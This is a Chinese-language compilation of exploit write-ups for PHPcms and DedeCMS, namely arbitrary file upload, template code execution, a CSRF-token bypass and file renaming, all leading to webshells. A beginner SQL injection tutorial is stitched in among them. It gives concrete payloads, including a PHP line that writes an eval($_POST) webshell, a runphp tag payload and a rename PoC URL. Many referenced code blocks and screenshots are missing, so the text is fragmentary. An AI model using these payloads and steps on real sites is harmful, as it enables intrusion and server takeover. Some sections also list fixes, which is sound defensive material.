PHPcms9.6.0最新版任意文件上传漏洞可直接getshell

对于PHPcms9.6.0 最新版漏洞,具体利用步骤如下:

首先我们在本地搭建一个php环境,我这里是appserv或者使用phpnow (官网下载地址:http://servkit.org/)

(只要可以执行php文件就行)

在根目录下新建一个txt文本文件里面写上php一句话,如上图可以访问

接着我们找到phpcms网站注册模块,随便填一下信息

然后我们用burpsuite抓包

(有关burpsuite工具和相关使用教程可以百度查一下)

然后发送到repeater

我们在最下面的注册那儿使用img标签插入我们本地第一步搭建的一句话

poc如下:

只需要修改img里面的链接为你本地写入的一句话即可,还有要注意的是在repeater里测试go时每一次都要修改username,password和email字段值(不能重复)

我们可以看到repeater里MYSQL query成功插入,接着访问上图repeater里我标黄语句,执行一句话

连接菜刀,getshell

利用方式二:

利用火狐的hackbar插件,操作如下:

 

EXP如下:

 

网站渗透攻防Web篇之SQL注入攻击初级篇

前言

不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动。在网络中,数据库驱动的Web应用随处可见,由此而存在的SQL注入是影响企业运营且最具破坏性的漏洞之一,这里我想问,我们真的了解SQL注入吗?看完本篇文章希望能让你更加深刻的认识SQL注入。


第一节 注入攻击原理及自己编写注入点

1.1、什么是SQL?

SQL 是一门 ANSI 的标准计算机语言,用来访问和操作数据库系统。SQL 语句用于取回和更新数据库中的数据。SQL 可与数据库程序协同工作,比如 MS Access、DB2、Informix、MS SQL Server、Oracle、Sybase 以及其他数据库系统。

1.2、什么是SQL注入?

看起来很复杂,其实很简单就能解释,SQL注入就是一种通过操作输入来修改后台SQL语句达到代码执行进行攻击目的的技术。

1.3、SQL注入是怎么样产生的?

构造动态字符串是一种编程技术,它允许开发人员在运行过程中动态构造SQL语句。开发人员可以使用动态SQL来创建通用、灵活的应用。动态SQL语句是在执行过程中构造的,它根据不同的条件产生不同的SQL语句。当开发人员在运行过程中需要根据不同的查询标准来决定提取什么字段(如SELECT语句),或者根据不同的条件来选择不同的查询表时,动态构造SQL语句会非常有用。

在PHP中动态构造SQL语句字符串:

看上面代码我们可以控制输入参数ichunqiu,修改所要执行SQL语句,达到攻击的目的。

1.4、编写注入点

为了照顾一下新人,这里先介绍一下涉及到的基础知识:

下面的运算符可在 WHERE 子句中使用:

了解了以上基础知识就让我们来自己编写注入点把。
第一步:我们使用if语句来先判断一下变量是否初始化

第二步:在if语句里面,我们连接数据库。在PHP中,这个任务通过 mysql_connect() 函数完成。

第三步:连接成功后,我们需要选择一个数据库。

第四步:选择完数据库,我们需要执行一条 MySQL 查询。

第五步:执行完查询,我们再对结果进行处理

题外话:我们使用echo将执行的SQL语句输出,方便我们查看后台执行了什么语句。

最终代码如下:

MySQL数据库实验环境配置:

代码层工作已经做好,但是在数据库里面,我们还没有ichunqiu这个数据库啊,接下来我就带大家一步步创建数据库,创建表,创建列,插入数据。
第一步:创建数据库

第二步:创建表users和列id,username,password

第三步:我们插入几条数据

同样的道理,大家多插几条数据。到此我们整个任务就完成了。

最终成果如下:

第二节 寻找及确认SQL注入

2.1、推理测试法

寻找SQL注入漏洞有一种很简单的方法,就是通过发送特殊的数据来触发异常。

首先我们需要了解数据是通过什么方式进行输入,这里我总结了三个:
GET请求:该请求在URL中发送参数。
POST请求:数据被包含在请求体中。
其他注入型数据:HTTP请求的其他内容也可能会触发SQL注入漏洞

了解完数据的输入方式,我们接下来再学习数据库错误。这里我们以MySQL为例,其它的请大家自行学习咯。
我们现在参数后面加个单引号,如下图:

sql语句最终变为

执行失败,所以mysql_query()函数会返回一个布尔值,在下行代码中mysql_fetch_array($sql)将执行失败,并且PHP会显示一条警告信息,告诉我们mysql_fetch_array()的第一个参数必须是个资源,而代码在实际运行中,给出的参数值却是一个布尔值。
我们修改代码在

可以发现:

为了更好的了解MySQL错误,我们在

加上

这样当应用捕获到数据库错误且SQL查询失败时,就会返回错误信息:(我们在参数中添加单引号返回的错误信息)

然后借助这些错误,我们这可以推断应该存在SQL注入。还有其他数据库错误信息,以及MySQL其他错误信息,由于篇幅问题就不一一讲解了。

2.2、and大法和or大法

页面不返回任何错误信息,我们就可以借助本方法来推断了,首先我们在参数后面加上 and 1=1和and 1=2看看有什么不同

可以发现and 1=1 返回了数据,而and 1=2没有,这是由于1=1是一个为真的条件,前面的结果是true,true and true 所以没有任何问题,第二个 1=2 是个假条件, true and false还是false,所以并没有数据返回。

好,讲完and,我们自来看看 or ,or就是或者,两个都为假,才会为假。我们先把id改为5,可以发现id=5是没有数据的。

可以发现我们加上or 1=1就成功返回了数据,这是因为1=1为真,不管前面是不是假,数据都会返回,这样就把表里面数据全部返回,我们没看见,是因为代码中并没有迭代输出。这样,我们来修改一下代码。

然后你就可以发现:

2.3、加法和减法

这里我们需要区分一下数字型和字符串型:

数字型:不需要使用单引号来表示
其他类型:使用单引号来表示
综合上述,我们可以发现我们的例子是数字型的,这样我们就可以使用加法和减法来判断了。

加法,我们在参数输入1+1,看看返回的数据是不是id等于2的结果,这里注意一下+号在SQL语句是有特效含义的,所以我们要对其进行url编码,最后也就是%2b。

减法是同样的道理,不过我们不需要对-号进行url编码了。

DedeCMS V5.7 SP2后台存在代码执行漏洞

简介

织梦内容管理系统(DedeCms)是一款PHP开源网站管理系统。
DedeCMS V5.7 SP2版本中tpl.php存在代码执行漏洞,攻击者可利用该漏洞在增加新的标签中上传木马,获取webshell。笔者是2018年2月28日在官网下载的DedeCMS V5.7 SP2版本程序,截至发稿,漏洞依然存在。

漏洞详情
织梦默认的后台地址是/dede/,当然也可以被更改,到时候根据网站具体情况替换默认后台地址即可。

dede/tpl.php中第251行到281行

  1. 由于dedecms全局变量注册的特性,所以这里的content变量和filename变量可控。
  2. 可以看到将content直接写入到文件中导致可以getshell。但是这里的文件名经过正则表达式,所以必须要.lib.php结尾。

注意: 这里还有一个csrf_check()函数,即请求中必须要带token参数。

然后访问


shell:

漏洞修复

  • 禁止此处写入文件。
  • 过滤恶意标签

Phpcms最新版V9.5.6后台专题getshell漏洞

简要描述:

低权限后台拿shell
版本:Phpcms V9.5.6 Release 20140522

详细说明:

前提是需要有管理专题的权限

测试版本

PHPCMS程序版本:Phpcms V9.5.6 Release 20140522

过程

添加专题专题名称:test

  1. 专题横幅:/1.jpg
  2. 专题缩略图:/1.jpg
  3. 专题导读:
  4. 生成静态:是
  5. <?php file_put_contents(‘0.php’,base64_decode(‘PD9waHAgQGV2YWwoJF9QT1NUWzVdKTs/Pg==’)); ?>
  6. 专题生成目录:test000
  7. 专题子分类:test test
  8. 其他默认 -> 提交

2. 再次添加专题

  1. 专题名称:test1
  2. 专题横幅:/1.jpg
  3. 专题缩略图:/1.jpg
  4. 专题导读:
  5. 生成静态:是
  6. 专题生成目录:test111
  7. 专题子分类:test test
  8. 扩展设置
  9. 专题模板:value设置为../../../../html/special/test000/index

其他默认 -> 提交

会在根目录下面生成 0.php 内容为 <?php @eval($_POST[5]);?>

漏洞证明:

Dedecms V5.7 后台任意代码执行

漏洞的触发点为/dede/tag_test_action.php。起因是csrf_check()的绕过,导致可执行任意代码。

一、payload如下:

二、效果图:

三、具体分析:
首先,程序最开始部分有一个 CSRF 检测函数 csrf_check() ,该函数位于 dede/config.php文件中,可以看到改文件仅仅只是判断是否设置了 $token 以及 $_SESSION[‘token’] 是否与 $token 相等。然而在初始状态下, $_SESSION[‘token’] 的值为空,所以我们就可传入 $token为空,来绕过该 CSRF 检测,即http://localhost/dede/tag_test_action.php?token=。(下面是 csrf_check() 函数,可以添加调试语句,查看初始状态下 $_SESSION[‘token’] 的值)

继续看 dede/tag_test_action.php 文件,初始状态下 $partcode 为空,这个变量又是我们可以控制的,先记下,等下要用到。

继续往下看,可以看到 $typeid 变量的值为0,所以进入27行代码 else $pv = new PartView(); 我们继续跟踪 PartView() 。

PartView() 类位于 include/arc.partview.class.php 文件第22行( 在进行代码审计的时候,可以借助linux的grep命令辅助,参数R表示递归查找,参数i表示不区分大小写,参数n表示显示第几行 )

在PartView() 类的构造函数中,又实例化一个 DedeTagParse 对象(如上图),该类用于定义dede标签格式,可以在 include/dedetag.class.php 文件第93行处找到。

回到 dede/tag_test_action.php 文件,看到程序调用了 PartView 类的 SetTemplet 方法,跟进该方法。

进入改方法后,会进入第一个if语句,并调用 DedeTagPages 类的 LoadSource 方法,继续跟进 LoadSource 方法。

可以看到(下图), LoadSource 方法先将我们 $str 写入一个inc文件,然后又调用 LoadTemplate方法,这里的$str就是我们传入的$partcode 。

LoadTemplate 先调用 SetDefault 方法做了一些初始化操作,接着进入else语句,循环读取刚刚写入文件的内容,存在 SourceString 中,然后调用 LoadCache 方法,跟进 LoadCache 方法。

LoadCache 返回false之后,就直接进入else语句,调用 ParseTemplet 方法,继续跟进。发现实例化一个 DedeAttributeParse 对象,该对象为dede的属性解析器,此时仅初始化了一些属性,暂时不跟进,继续看ParseTemplet 方法。

for循环代码太长,这里用省略号替代,主要的功能是遍历字符串模板,提取数据,然后调用 SaveCache 方法写入文件中,如下图:

下面有要回到 dede/tag_test_action.php 文件,执行最后一句 $pv->Display(); ,即调用 PartView 类的 Display方法,发现该方法又调用了DedeTagParse 类的 Display 方法,继续跟进。

DedeTagParse 类的 Display 方法调用了 GetResult 方法,跟进

调用了 AssignSysTag 方法

在 AssignSysTag 方法中 $CTag 为 DedeTag 实例化对象,这里的 $CTag->TagName 就是 $partcode 中dede:后面的那一小串单词,这里没有写else处理语句,所以我们只要不填写 global、include、foreach、var 可以不进入if、else if语句,直接来到下面的if( $CTag->GetAtt(‘runphp’) == ‘yes’ ) ,跟进 GetAtt 方法(注意这里是 DedeTag 类的 GetAtt 方法,不是 DedeAttribute 类的 GetAtt 方法)

可以看到 DedeTag 类的 GetAtt 方法又调用了 DedeAttribute 类的 GetAtt 方法,继续跟进。

使用 var_dump() 来查看 $this->Items 数据类型,可以发现 $partcode 里面的name=’source’ runphp=’yes’ 会以数组键值对的形式存储在 $this->Items ,中,所以我们这里构造partcode={dede:mochazz name=’source’ runphp=’yes’},这样我们就进入了 AssignSysTag 方法中的 $this->RunPHP($CTag, $i) 语句。

其实这里的 $this->InnerText ,在前面的 LoadCache 方法中以及 DedeTag 类初始化中,可以找到定义。这个就是eval函数中 $phpcode 的值。

此次审计到此结束,整个过程有点绕,需要花一些时间,才能理清思路。

Dedecms V5.7 后台文件重命名

Dedecms V5.7版本后台可实现对于文件的重命名,可将上传的任意文件重名为php文件,导致getshell。

该漏洞的逻辑比较简单,就从漏洞的入口文件开始看,漏洞的入口文件是dede/file_manage_control.php,其部分源码如下:


重点就在于这里的if,由于dede采取的是伪全局变量注册机制,导致在未经过滤的情况下我们可声明任意变量。在该文件中,前面只是简单的验证身份是否正确,并没有对于变量进行任何过滤。也就是说,我们可控$fmdo,$oldfilename,$newfilename这三个变量。

跟进RenameFile方法,文件位于dede/file_class.php:


在这个方法中,对于传入的变量只是进行参数拼接操作,就是我们传入的参数前加上web服务的根目录的绝对路径。对于之后的变量没有任何过滤。导致我们可操作自行上传的文件。从而实现将任意类型文件重命名为php文件。

利用方式:
首先随便找个上传点,上传合法文件。获取上传之后的文件路径。
这里我找的是前台->会员中心->附件管理,从这上传一个zip文件,内容就是phpinfo()


可以在源码里看到上传文件的路径:


接下来构造触发重命名payload:
将文件路径的值填入oldfilename参数,这里注意不要加反斜杠
newfilename的值就是我们要生成的木马文件的名称。(由于我的dede并不是放在web服务的根目录下,因此我这里需要加上dedecms/)
fmdo构造为rename即可
最终生成以下poc:
http://localhost/dedecms2/dede/file_manage_control.php?fmdo=rename&oldfilename=dedecms2/uploads/userup/1/151QM125-42I.zip&newfilename=dedecms2/wisdom.php
执行之后访问:http://localhost/dedecms2/wisdom.php

配合存储型xss可getshell。

修复方案:在file_class.php中过滤$newname参数,或者file_manage_control.php中过滤$newfilename参数,判断文件后缀是否为php